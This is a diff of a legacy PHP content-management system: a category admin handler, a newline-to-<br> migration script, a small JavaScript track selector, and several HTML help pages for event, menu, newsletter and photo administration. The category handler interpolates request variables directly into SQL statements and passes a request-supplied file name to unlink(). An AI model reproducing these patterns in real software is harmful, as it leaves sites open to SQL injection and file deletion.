+ for($i=0;$i<$DB->db_numrows($res);$i++) {
+ $res_data = $DB->db_fetch_array($res,$i,PGSQL_ASSOC);
+ $res_id = $res_data['id'];
+ $res_pos = $res_data['pos'];
+ $qs = "UPDATE bus_category
+ SET pos = $counter
+ WHERE id = $res_id";
+
+ if(!$DB->db_exec($qs)) html_error(DB_ERROR_MSG.$qs,0);
+ $counter++;
+ }
+ }
+ $qs = "UPDATE bus_category
+ SET pos = $newpos
+ WHERE id = $id";
+
+ if(!$DB->db_exec($qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+ $location = "list_bus_category.phtml?catid=$catid";
+ break;
+
+ case "Update":
+
+ if($image != "none" && $image != "") {
+ @unlink(ORIGINAL_PATH."/".$oldimage);
+ @unlink(RESIZED_PATH.$oldimage);
+ @unlink(THUMB_PATH.$oldimage);
+ @unlink(MIDSIZED_PATH.$oldimage);
+ $image_name = process_image($image,$image_name);
+ }
+ else {
+ $image_name = $oldimage;
+ }
+
+ if($delete == "1") {
+ $image_name = "";
+
+ @unlink(ORIGINAL_PATH."/".$oldimage);
+ @unlink(RESIZED_PATH.$oldimage);
+ @unlink(THUMB_PATH.$oldimage);
+ @unlink(MIDSIZED_PATH.$oldimage);
+ }
+ if($parent != $oldparent) {
+
+ $qs = "SELECT MAX(pos) as maxpos
+ FROM bus_category
+ WHERE parent = $parent";
+
+ $res = $DB->db_exec($qs);
+ $row = $DB->db_fetch_array($res,0,PGSQL_ASSOC);
+ $pos = $row[maxpos];
+ $pos++;
+
+ $qs = "SELECT pos,id
+ FROM bus_category
+ WHERE parent = $oldparent
+ AND pos > $oldpos
+ ORDER BY pos";
+
+ $res2 = $DB->db_exec($qs);
+ $oldparent_counter = $oldpos;
+ for($i=0;$i<$DB->db_numrows($res2);$i++) {
+ $row2 = $DB->db_fetch_array($res2,$i,PGSQL_ASSOC);
+ $qs = "UPDATE bus_category
+ SET pos = $oldparent_counter
+ WHERE id = $row2[id]";
+
+ $DB->db_exec($qs);
+ $oldparent_counter++;
+ }
+
+ }
+ else {
+ $pos = $oldpos;
+ }
+ $template = ( $template ) ? $template : 1;
+
+ $qs = "update bus_category
+ set category = '$category',
+ parent = $parent,
+ pos = $pos,
+ intro = '$intro',
+ kiosk_text = '$kiosk_text',
+ description = '$description',
+ image = '$image_name',
+ imagename = '$imagename',
+ keyword = '$keyword',
+ template = $template
+ where id = $id";
+
+ if(!$DB->db_auto_exec($qs)) html_error("failed ->".$qs,1);
+
+ $location = "list_bus_category.phtml?".SID;
+
+ break;
+
+ case "Insert":
+
+ $parent = ( $parent ) ? $parent : 0;
+ if($image != "none" && $image != "") {
+ $image_name = process_image($image,$image_name);
+ }
+ else {
+ $image_name = $oldimage;
+ }
+ $qs = "SELECT MAX(pos) as maxpos
+ FROM bus_category
+ WHERE parent = $parent";
+
+ $res = $DB->db_exec($qs);
+ $row = $DB->db_fetch_array($res,0,PGSQL_ASSOC);
+ $nextpos = $row[maxpos];
+ $nextpos++;
+
+ $template = ( $template ) ? $template : 1;
+ $parent = ( $parent ) ? $parent : 0;
+ $qs = "insert into bus_category
+ (kiosk_text,template,keyword,category,parent,intro,description,image,imagename,pos)
+ values
+ ('$kiosk_text',$template,'$keyword','$category',$parent,'$intro','$description','$image_name','$imagename',$nextpos)";
+
+ if(!$DB->db_auto_exec($qs)) html_error("failed ->".$qs,1);
+
+ $location = "list_bus_category.phtml?".SID;
+
+ break;
+
+ case "Delete":
+ //if(!$dbd) html_error(DB_ERROR_MSG,1);
+
+ $qs = "SELECT count(*) as count
+ FROM bus_category_bus
+ WHERE catid = $id";
+
+ $res = $DB->db_exec($qs);
+ $row = $DB->db_fetch_array($res,0,PGSQL_ASSOC);
+
+ if($row['count'] >0) {
+ html_error("Sorry but you have items in there\n
+ Delete these records first\n",1);
+ }
+
+ $qs = "SELECT parent
+ FROM bus_category
+ WHERE parent = $id";
+
+ $res = $DB->db_exec($qs);
+
+ if($DB->db_numrows($res) >0) {
+ html_error("Sorry but you have Categories in there\n
+ Delete these Categories first\n",1);
+ }
+
+ $qs = "SELECT pos,id
+ FROM bus_category
+ WHERE parent = $oldparent
+ AND pos > $oldpos
+ ORDER BY pos";
+
+ $res2 = $DB->db_exec($qs);
+ $oldparent_counter = $oldpos;
+ for($i=0;$i<$DB->db_numrows($res2);$i++) {
+ $row2 = $DB->db_fetch_array($res2,$i,PGSQL_ASSOC);
+ $qs = "UPDATE bus_category
+ SET pos = $oldparent_counter
+ WHERE id = $row2[id]";
+
+ $DB->db_exec($qs);
+ $oldparent_counter++;
+ }
+
+ $qs2 = "DELETE
+ FROM bus_category
+ WHERE id = $id";
+
+ if(!$DB->db_auto_exec($qs2)) html_error(DB_ERROR_MSG.$qs2,1);
+
+ @unlink(ORIGINAL_PATH."/".$oldimage);
+ @unlink(RESIZED_PATH.$oldimage);
+ @unlink(THUMB_PATH.$oldimage);
+ @unlink(MIDSIZED_PATH.$oldimage);
+
+ $location = "list_bus_category.phtml?".SID;
+
+ break;
+
+ case "Cancel":
+ $location = "list_bus_category.phtml?".SID;
+ break;
+
+ default:
+ html_error("incorrect value for Command",1);
+ break;
+ }
+
+header("Location: $location");
+}
+?>
--- /dev/null
+<?php
+ /* If you don't have a newsletter installed then comment oeut the part where it updates
+ the news and news_block tables
+ or else this will rollback (since it is in a transaction)
+ :)
+ */
+ require_once('../../setup.phtml');
+ require_once(BASE.'classes/class_db.inc');
+ require_once(BASE.'classes/class_template.inc');
+
+ $DB =& new GLM_DB();
+ $DB->db_connect();
+ $DB->db_exec( "BEGIN WORK" );
+
+ echo 'replacing newlines with <br> in bus_category<br>';
+ $DB->db_exec( "update bus_category set description = replace(description,'\\n','<br>')" );
+ echo 'replacing newlines with <br> in bus<br>';
+ $DB->db_exec( "update bus set description = replace(description,'\\n','<br>')" );
+ $DB->db_exec( "update bus set description2 = replace(description2,'\\n','<br>')" );
+ $DB->db_exec( "update bus set description3 = replace(description3,'\\n','<br>')" );
+
+ echo 'replacing newlines with <br> in news<br>';
+ $DB->db_exec( "update news set description = replace(description,'\\n','<br>')" );
+ echo 'replacing newlines with <br> in news_block<br>';
+ $DB->db_exec( "update news_block set description2 = replace(description2,'\\n','<br>')" );
+
+ $DB->db_exec( "COMMIT WORK" );
+ /**
+ update media_category set description = replace(description,'http://devsys.gaslightmedia.com/www.upnorth.net/','http://www.upnorth.net/');
+ update bus_category set description = replace(description,'http://devsys.gaslightmedia.com/www.upnorth.net/','http://www.upnorth.net/');
+ */
+?>
--- /dev/null
+function reshow(object) {
+ artist = object.options[object.selectedIndex].text;
+ for (var i = document.track.names.length;i > 0;i--)
+ document.track.names.options[0] = null;
+ reloading = true;
+ showlinks();
+ document.track.names.options[0].selected = true;
+ return false;
+}
+
+function load(object) {
+ alert('Just testing: ' + object.options[object.selectedIndex].value);
+ //window.location.href = object.options[object.selectedIndex].value;
+ return false;
+}
+
+function showlinks() {
+ if (artist == 'Chris Rea') {
+ opt('cr/one.zip','The Road To Hell');
+ opt('cr/two.zip','Let\'s Dance');
+ }
+
+ if (artist == 'Annie Lennox') {
+ opt('al/why.zip','Why');
+ opt('al/wobg.zip','Walking on Broken Glass');
+ }
+
+ if (artist == 'Dina Carrol') {
+ opt('dc/track1.zip','Escaping');
+ opt('dc/track2.zip','Only Human');
+ }
+}
+
+function opt(href,text) {
+ if (reloading) {
+ var optionName = new Option(text, href, false, false)
+ var length = document.track.names.length;
+ document.track.names.options[length] = optionName;
+ }
+ else
+ document.write('<OPTION VALUE="',href,'">',text,'<\/OPTION>');
+}
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Events Calendar Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Events</h4>
+
+<P>
+This page lists the existing Events.
+</p>
+<p>
+<b>Add A New Event</b>
+</p>
+<p>This link will allow you to add new Event</p>
+<p>
+<b>List Events</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>Edit Topics</b>
+</p>
+<p>This link will allow you to edit Topics associated with Events</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Event</p>
+<p>
+<b>[Delete]</b>
+</p>
+<p>This link will let you Delete an existing Event</p>
+<p>
+<b>ON/OFF</b>
+</p>
+<p>There is either a green or red ball in line with each existing Event.
+If the ball is green, the Event is currently visable on the front end of your
+web site. If the ball is red, the event is not visable on the front end of your
+web site. You can easily toggle Event visability by clicking on the ball. If the
+ball was red, and you clicked on it, it should turn green.</p>
+
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit an Event</h4>
+<P>
+This page is for editing and modifying an existing Event in the database.
+When editing is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Events" page.
+</p>
+
+<p>
+<b>Hotel:</b>
+</p>
+<p>This Select Box will determine which Hotel's Web site the Event will be
+displayed on. For example, if you have an Event which you only want displayed
+on the Chippewa Hotel's web site, choose "Chippewa Hotel." You may choose
+either hotel, or both. Note that this is NOT the location where the event is
+taking place (that should be entered in the "Location" field).</p>
+<p>
+<b>Topic:</b>
+</p>
+<p>This is the Topic that the Event will be searchable by. You may select
+a topic from the Select Box, or you may enter a previously non-existant topic
+in the textbox to the right. Please note that if you decide to enter a new
+topic, select "New Topic: (Enter -->)" from the Select Box.
+</p>
+
+<p>
+<b>Start Date:</b>
+</p>
+<p>This is date upon which the Event will begin. It should be formatted in
+the following manner: 05/15/2001
+</p>
+<p>
+<b>End Date:</b>
+</p>
+<p>This is date upon which the Event will end. It should be formatted in
+the following manner: 05/15/2001
+</p>
+<p>
+<b>Start Time:</b>
+</p>
+<p>This is time upon which the Event will begin. It may be formatted however
+you like, i.e. 8:15 pm or 8 o'clock or ???
+</p>
+<p>
+<b>End Time:</b>
+</p>
+<p>This is time upon which the Event will end. It may be formatted however
+you like, i.e. 8:15 pm or 8 o'clock or ???
+</p>
+<p>
+<b>Location:</b>
+</p>
+<p>This is location where the event will take place. i.e. Pink Pony Bar and Grill
+</p>
+
+<p>
+<b>Header (One Line Desc.):</b>
+</p>
+<p>This is the text which will appear as a brief summary of the Event</p>
+<p>
+<b>Full Description:</b>
+</p>
+<p>This is the text which will appear as a complete description of the Event,
+in the Detailed output of the Event</p>
+<p>
+<b>Additional Web Address for Event:</b>
+</p>
+<p>This is URL which will be placed on the Detailed description of the Event.
+This field must be formatted as: http://www.somesite.com </p>
+<p>
+<b>Email of event contact person:</b>
+</p>
+<p>This is email address will be placed on the Detailed description of the
+Event. This field must be a valid email address, such as: jack@foo.com</p>
+<p>
+<b>Picture for Event:</b>
+</p>
+<p>If you choose, you may upload an image which will be displayed on the
+Detailed output for the Event. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Show Event:</b>
+</p>
+<p>This Select Box will determine whether or not the Event is viewable
+on the front end of you web site.
+The Default value is "Yes" meaning that the event will be visable.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Event,
+you can click "Submit Query." This will update the information about the
+Event in the database.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add An Event</h4>
+<P>
+This page is for editing and modifying an existing Event in the database.
+When editing is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Events" page.
+</p>
+
+<p>
+<b>Hotel:</b>
+</p>
+<p>This Select Box will determine which Hotel's Web site the Event will be
+displayed on. For example, if you have an Event which you only want displayed
+on the Chippewa Hotel's web site, choose "Chippewa Hotel." You may choose
+either hotel, or both. Note that this is NOT the location where the event is
+taking place (that should be entered in the "Location" field).</p>
+<p>
+<b>Topic:</b>
+</p>
+<p>This is the Topic that the Event will be searchable by. You may select
+a topic from the Select Box, or you may enter a previously non-existant topic
+in the textbox to the right. Please note that if you decide to enter a new
+topic, select "New Topic: (Enter -->)" from the Select Box.
+</p>
+
+<p>
+<b>Start Date:</b>
+</p>
+<p>This is date upon which the Event will begin. It should be formatted in
+the following manner: 05/15/2001
+</p>
+<p>
+<b>End Date:</b>
+</p>
+<p>This is date upon which the Event will end. It should be formatted in
+the following manner: 05/15/2001
+</p>
+<p>
+<b>Start Time:</b>
+</p>
+<p>This is time upon which the Event will begin. It may be formatted however
+you like, i.e. 8:15 pm or 8 o'clock or ???
+</p>
+<p>
+<b>End Time:</b>
+</p>
+<p>This is time upon which the Event will end. It may be formatted however
+you like, i.e. 8:15 pm or 8 o'clock or ???
+</p>
+<p>
+<b>Location:</b>
+</p>
+<p>This is location where the event will take place. i.e. Pink Pony Bar and Grill
+</p>
+
+<p>
+<b>Header (One Line Desc.):</b>
+</p>
+<p>This is the text which will appear as a brief summary of the Event</p>
+<p>
+<b>Full Description:</b>
+</p>
+<p>This is the text which will appear as a complete description of the Event,
+in the Detailed output of the Event</p>
+<p>
+<b>Additional Web Address for Event:</b>
+</p>
+<p>This is URL which will be placed on the Detailed description of the Event.
+This field must be formatted as: http://www.somesite.com </p>
+<p>
+<b>Email of event contact person:</b>
+</p>
+<p>This is email address will be placed on the Detailed description of the
+Event. This field must be a valid email address, such as: jack@foo.com</p>
+<p>
+<b>Picture for Event:</b>
+</p>
+<p>If you choose, you may upload an image which will be displayed on the
+Detailed output for the Event. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+<p>
+<b>Show Event:</b>
+</p>
+<p>This Select Box will determine whether or not the Event is viewable
+on the front end of you web site.
+The Default value is "Yes" meaning that the event will be visable.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have edited the Event to your liking,
+you can click "Submit Query." This will add the Event to the database.
+</p>
+<?
+ break;
+ case "edittopic":
+ ?>
+<h4 align="center">Edit Topics</h4>
+<p>
+<b>Existing Topic:</b>
+</p>
+<p>
+This Select Box lists all existing Topics by name. You should choose the
+Topic that you wish to Edit/Delete
+</p>
+<p>
+<b>Change Topic Name:</b>
+</p>
+<p>If you type something into this Text Box, it will change the name
+of the Topic selected under "Existing Topic:" after you click "Change Name"
+</p>
+<p>
+<b>[Delete]</b>
+</p>
+<p>If you click [Delete] you will remove the Topic Selected under "Existing
+Topic" (Be Careful)
+</p>
+
+<p>
+<b>Change Name</b>
+</p>
+<p>When you selected a Topic to change, and entered the new name in the
+Text Box, you can click "Change Name" to change the Topic's name in the
+database.
+</p>
+<?
+ break;
+
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Menu Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Menu Items</h4>
+
+<P>
+This page lists the existing Menu Items under a particular Category in the database.
+</p>
+<p>
+<b>Add A New Menu Item</b>
+</p>
+<p>This link will allow you to add new Menu Item</p>
+<p>
+<b>List Menu Items</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>List Categories</b>
+</p>
+<p>This link will take you back to the listing of all Categories</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Menu Item</p>
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Menu Item</h4>
+<P>
+This page is for editing and modifying an existing Menu Item in the
+database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Menu Items" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Menu Item" i.e. "Hamburger"</p>
+<p>
+<b>Category:</b>
+</p>
+<p>This is the Category that the Menu Item will appear in on the Menu. The
+default value is the current Category.</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Menu Item. This text will be
+displayed below the Menu Item on the menu.
+</p>
+<p>
+<b>Price:</b>
+</p>
+<p>This is the text which will appear on the Menu as the price.
+Note that you should format the Price just as you wish it to appear on the
+Menu. i.e. '$16.00' not '16'
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Menu Item,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add Menu Item</h4>
+<P>
+This page is for adding new Menu Items in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Menu Items" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Menu Item" i.e. "Hamburger"</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Menu Item. This text will be
+displayed below the Menu Item on the menu.
+</p>
+<p>
+<b>Insert</b>
+</p>
+<p>When you have made the changes you want to the Menu Item,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Menu Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Categories</h4>
+
+<P>
+This page lists the existing Menu Categories in the database.
+</p>
+<p>
+<b>Add A New Category</b>
+</p>
+<p>This link will allow you to add new Categories</p>
+<p>
+<b>List Categories</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Category</p>
+<p>
+<b>[List Menu]</b>
+</p>
+<p>
+This link will list out the Menu Items associated with a particular Category
+</p>
+
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Category</h4>
+<P>
+This page is for editing and modifying the existing Menu Categores in the
+database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Menu Categories" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Entrees"</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Category. This text will be
+displayed below the Category Title on the menu.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Cateogry,
+you can click "Update." This will update the information about the Category
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Category, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add Category</h4>
+<P>
+This page is for adding Menu Categories in the database.
+When editing is complete, click on the "Add" button. The database will
+be updated, and you will be directed back to the "List Menu Categories" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Entrees"</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Category. This text will be
+displayed below the Category Title on the menu.
+</p>
+<p>
+<b>Add</b>
+</p>
+<p>When you have made the changes you want to the Cateogry,
+you can click "Add." This will add the information about the new Category
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Newsletter Help</H4>
+
+<P>
+This page is for editing and modifying the existing Newsletter in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed to an area where you can view the
+updated Newsletter.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear on the top of the Newsletter</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the actual body of the Newletter. Whatever you type in this field
+will be shown as the body of the Newsletter.
+The body may have multiple paragraphs. By hitting return twice, you place a
+blank line in the copy.
+</p>
+
+<p>
+<b>Mail Out:</b>
+</p>
+<p>This "Select Box" will determine whether or not the Newsletter gets emailed
+to members of your Contact Database. If you change the Mail Out option to "Yes"
+then the Newsletter will be emailed out, and updated on your web page.
+Otherwise, the Newsletter will only be updated on your web page. The default
+is "No"
+</P>
+
+<p>
+<b>Members from which Hotel:</b>
+</p>
+<p>This "Select Box" will determine who to email the Newsletter to. Note that
+this is only pertinent if "Mail Out" is set to "Yes." The default is members
+from your own Hotel, however, you can also choose to email the Newsletter to
+registered members from "Both Hotels"
+</p>
+
+<p>
+<b>Update</b>
+<p>
+
+<p>When you have made the changes you want to the Newsletter, and determined
+whether or not to email it out, you can click "Update." This will take the
+appropriate action, and direct you to a page where you can view the contents
+and email recipients of the Newsletter
+</p>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Photo Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Photos</h4>
+
+<P>
+This page lists the existing Photos under a particular Category in the database.
+</p>
+<p>
+<b>Add A New Photo</b>
+</p>
+<p>This link will allow you to add new Menu Item</p>
+<p>
+<b>List Photos</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>List Categories</b>
+</p>
+<p>This link will take you back to the listing of all Categories</p>
+
+<p>
+<b>[Edit/Delete]</b>
+</p>
+<p>This link will let you edit or delete an existing Photo</p>
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Photo</h4>
+<P>
+This page is for editing and modifying an existing Photo in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Photos" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Photo" i.e. "View of the Straits"</p>
+<p>
+<b>Category:</b>
+</p>
+<p>This is the Category that the Photo will appear in on the Gallery Page. The
+default value is the current Category.</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Photo. This text will be
+displayed with the Photo in the Gallery.
+</p>
+
+<p>
+<b>Current Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Current Image: header, and a small version of the image.
+</p>
+<b>Delete This Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Delete This Image: header, and "Yes" and "No" radio buttons. If you choose "Yes" and then "Update", you will have permanently removed the "Current Image". The default value is "No."
+</p>
+<p>
+<b>Image:</b>
+</p>
+<p>
+To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Photo,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Item, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add Photo</h4>
+<P>
+This page is for adding new Photos in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Photos" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Photo" i.e. "View of the Straits"</p>
+<p>
+<b>Category:</b>
+</p>
+<p>This is the Category that the Photo will appear in on the Gallery Page. The
+default value is the current Category.</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Photo. This text will be
+displayed with the Photo in the Gallery.
+</p>
+
+<p>
+<b>Image:</b>
+</p>
+<p>
+To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Insert</b>
+</p>
+<p>When you have made the changes you want to the Menu Item,
+you can click "Insert." This will add the information about the new Item
+in the database.
+</p>
+<?
+ break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Menu Help</H4>
+<hr>
+<?
+switch ($key) {
+ case "list":
+ ?>
+<h4 align="center">List Categories</h4>
+
+<P>
+This page lists the existing Photo Gallery Categories in the database.
+</p>
+<p>
+<b>Add A New Category</b>
+</p>
+<p>This link will allow you to add new Categories</p>
+<p>
+<b>List Categories</b>
+</p>
+<p>This link is the page you are currently viewing</p>
+
+<p>
+<b>[Edit]</b>
+</p>
+<p>This link will let you edit an existing Category</p>
+<p>
+<b>[List Photos]</b>
+</p>
+<p>
+This link will list out the Photo Gallery Items associated with a particular Category
+</p>
+
+<?
+ break;
+
+ case "edit":
+ ?>
+<h4 align="center">Edit a Category</h4>
+<P>
+This page is for editing and modifying the existing Photo Gallery Categories in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "List Menu Categories" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Pictures of The Island"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Category. This text will be
+displayed below the Category Title in the Gallery.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Category. This text will be
+displayed below the Category Title and Intro in the Gallery.
+</p>
+<p>
+<b>Current Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Current Image: header, and a small version of the image associated with this Category.
+</p>
+<b>Delete This Image:</b>
+</p>
+<p>If the record you are editing has an uploaded image, you will see the Delete This Image: header, and "Yes" and "No" radio buttons. If you choose "Yes" and then "Update" the Room Rate, you will have permanently removed the "Current Image". The default value is "No."
+</p>
+<p>
+<b>New Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Category. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
+formatted image. Generally, these are saved as filename.gif or filename.jpg.
+If you receive an error message while trying to upload an image, the most
+common error is that the image is neither a JPEG nor a GIF. Also note that
+simply renaming the file from filename.foo to filename.gif will not reformat
+the image as a GIF.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Cateogry,
+you can click "Update." This will update the information about the Category
+in the database.
+</p>
+<p>
+<b>Delete</b>
+</p>
+<p>If you want to remove the current Category, press the "Delete" button.
+</p>
+<?
+ break;
+ case "add":
+ ?>
+<h4 align="center">Add Category</h4>
+<P>
+This page is for adding Photo Gallery Categories in the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "List Categories" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Category" i.e. "Pictures of The Island"</p>
+<p>
+<b>Intro:</b>
+</p>
+<p>This is the text which will introduce the Category. This text will be
+displayed below the Category Title in the Gallery.
+</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will fully describe the Category. This text will be
+displayed below the Category Title and Intro in the Gallery.
+</p>
+<p>
+<b>Image:</b>
+</p>
+<p>
+If you choose, you may upload an image which will be displayed on the
+output for the Category. To upload an image, click the "Browse" button.
+For the image to be displayed properly, it must be either a "GIF" or "JPEG"
